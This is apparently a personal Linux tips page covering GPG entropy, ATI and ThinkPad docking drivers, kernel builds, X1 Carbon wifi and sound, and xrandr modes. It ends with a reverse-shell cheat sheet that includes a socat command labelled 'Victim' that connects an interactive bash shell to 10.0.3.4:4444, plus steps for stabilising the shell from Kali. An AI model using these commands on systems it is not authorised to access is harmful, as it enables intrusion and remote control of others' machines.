Tips
GPG Not enough random bytes available
gpg: Generating a default key
.++++++++++++++++++++.++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.++++++++++++++++++++++++++++++++++++++++>.+++++.+++++........................+++++
Not enough random bytes available. Please do some other work to give
the OS a chance to collect more entropy! (Need 300 more bytes)
To resolve that :
find / >/dev/null
Note: doesnt work very well with SSD, alternatively use infinite loop on this command
To see entropy :
watch cat /proc/sys/kernel/random/entropy_avail
ATI Driver
You'll need to install package 'fglrx-driver'((available in default jessie repositories)) to support 3 screens on pc-lbl.
For this, it's necessary to add non-free and contrib package in /etc/apt/sources.list
ATI Driver underscal
When you've triple screen, and you using display port, the screen is not full used.
See : http://askubuntu.com/questions/463406/smaller-screen-after-installing-radeon-driver-from-amds-site
Resolve with this command:
sudo aticonfig --set-pcs-val=MCIL,DigitalHDTVDefaultUnderscan,0
Note: If solution doesnt work, try manually this((solution taken from https://wiki.archlinux.org/index.php/AMD_Catalyst))
/etc/ati/amdpcsdb:
[AMDPCSROOT/SYSTEM/MCIL]
DigitalHDTVDefaultUnderscan=V0
TVEnableOverscan=V0
No sound on my computer
Try alsamixer
command and select sound card, and change volume on differents parameters.
See below for x1 carbon.
Ultra Dock with 3 screens
Source: https://cweiske.de/tagebuch/thinkpad-ultradock-screens.htm
Linux kernel
The first step was to get airlied's kernel patches. They are available in a git repository on freedesktop.org on top of the mainline 3.14 kernel sources. They are integrated in the mainline kernel since version 3.17 . Check you have less than 3.17 before do that (uname -a)
Just download it from kernel.org, configure the kernel with the same options the default Ubuntu kernel uses, compile and install it. It's really not hard. The Ubuntu wiki git kernel build howto helps a lot. We even get .deb packages for the kernel.
$ sudo bash
$ apt-get install build-essential kernel-package fakeroot libncurses5-dev
$ cd /usr/local/src
$ wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.17.1.tar.xz
$ tar xJvf linux-3.17.1.tar.xz
$ cd linux-3.17.1
$ cp /boot/config-`uname -r` .config
$ yes '' | make oldconfig
$ make clean
$ make -j `getconf _NPROCESSORS_ONLN` deb-pkg LOCALVERSION=-dp-mst
$ cd ..
$ dpkg -i linux-image-*.deb
$ dpkg -i linux-headers-*.deb
That was the first part. Intel graphics drivers (With debian Jessie 8.0, i did not need this step.)
The necessary patches for the X.org intel driver xf86-video-intel are already in git master, which means we do not have to apply patches ourselves. Re-compiling the graphics driver is also very easy because the driver is only a loadable module for x.org and does not require recompilation of other packages.
$ sudo bash
$ cd /usr/local/src/
$ git clone --depth=1 git://anongit.freedesktop.org/xorg/driver/xf86-video-intel
$ cd xf86-video-intel
$ ./autogen
$ ./configure
$ make && make install
$ reboot
Can see laso: http://www.thinkwiki.org/wiki/ThinkPad_Ultra_Dock
X1 carbon gen 7
wifi
Add backports since wifi are not open source...
deb http://deb.debian.org/debian buster-backports main contrib non-free
deb-src http://deb.debian.org/debian buster-backports main contrib non-free
Then install
apt -t buster-backports install firmware-iwlwifi firmware-misc-nonfree
sound
/etc/modprobe.d/dsp-fix.conf:
options snd_intel_dspcfg dsp_driver=1
then reboot
.
Thinkpad Dock gen 2 and dual screen
Due to the limitations of internal gpu of the laptop, it is possible that only one screen is running.
I have tried to reduce the framerate according to stackoverflow discussions, but no success:
lparmentier@po-lbl:~$ cvt 1920 1080 30
# 1920x1080 29.95 Hz (CVT) hsync: 33.01 kHz; pclk: 79.75 MHz
Modeline "1920x1080_30.00" 79.75 1920 1976 2168 2416 1080 1083 1088 1102 -hsync +vsync
lparmentier@po-lbl:~$ xrandr --newmode "1920x1080_test" 79.75 1920 1976 2168 2416 1080 1083 1088 1102 -hsync +vsync
lparmentier@po-lbl:~$ xrandr --addmode DP-1-2 1920x1080_test
lparmentier@po-lbl:~$ xrandr --output DP-1-2 --right-of DP-1-1 --mode 1920x1080_test
Sources:
- https://unix.stackexchange.com/questions/485026/xrandr-fails-randomly-with-configure-crtc-x-failed-on-dock-with-multiple-monit
- https://unix.stackexchange.com/questions/503953/xrandr-configure-crtc-failed
Reverse shell - interactive
Method 1 (no CTRL+C):
python -c 'import pty; pty.spawn("/bin/bash")'
Method 2:
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
Method 3:
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo
$ fg
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>